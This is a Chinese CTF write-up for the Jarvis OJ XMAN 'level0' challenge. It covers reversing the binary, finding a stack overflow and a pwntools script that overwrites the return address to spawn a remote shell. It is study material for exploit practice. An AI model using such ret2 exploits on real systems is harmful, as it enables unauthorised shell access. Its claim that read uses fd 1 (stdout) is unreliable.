美文网首页
[pwn] [XMAN]level0

[pwn] [XMAN]level0

作者: BlinKer | 来源:发表于2017-10-11 20:26 被阅读0次

    0x00 已知条件

    nc pwn2.jarvisoj.com 9881

    给了远端url和端口,nc过去发现输出了一行“Hello, World!”。
    下载了给的文件“lelvel0”,IDA看源码。

    0x01 思考过程

    总的来说这部分就看逆向了,得出结论是一个典型栈溢出。
    这是main函数里明明白白写着名字叫 vulnerable_function:) 的栈,而调bash的系统调用就在它上面一点。
    下面很显然要一路填充payload,直到恰好用那个系统调用函数的地址覆盖掉返回地址 retn。


    image.png

    0x02 EXP

    这部分就完全没接触过了,学人家的吧。了解了pwntools这个工具,大大减少了写EXP的工作量。
    至少知道文件描述符fd(File descriptor)很重要,详见Linux文件描述符。
    而且vulnerable_function也调用了read函数,fd为1,标准输出(默认模式器设备)。

    [python]
    # -*- coding:utf-8 -*-
    from pwn import *
    
    sh = remote("pwn2.jarvisoj.com", 9881) # set remote server as 'sh'
    
    junk = 'a' * 0x80 # infillings, including 8B for rbp in stack
    
    replace_rbp = 'a' * 0x8
    
    syscall = 0x0000000000400596
    
    payload = junk + replace_rbp + p64(syscall)
    
    sh.send(payload) # send payload for stuff
    
    sh.interactive()
    
    • 在正确溢出返回地址、调用sh.interactive()开启交互后,得到了远端的shell,找一下flag文件即可。

    相关文章

      网友评论

          本文标题:[pwn] [XMAN]level0

          本文链接:https://www.haomeiwen.com/subject/jgcgyxtx.html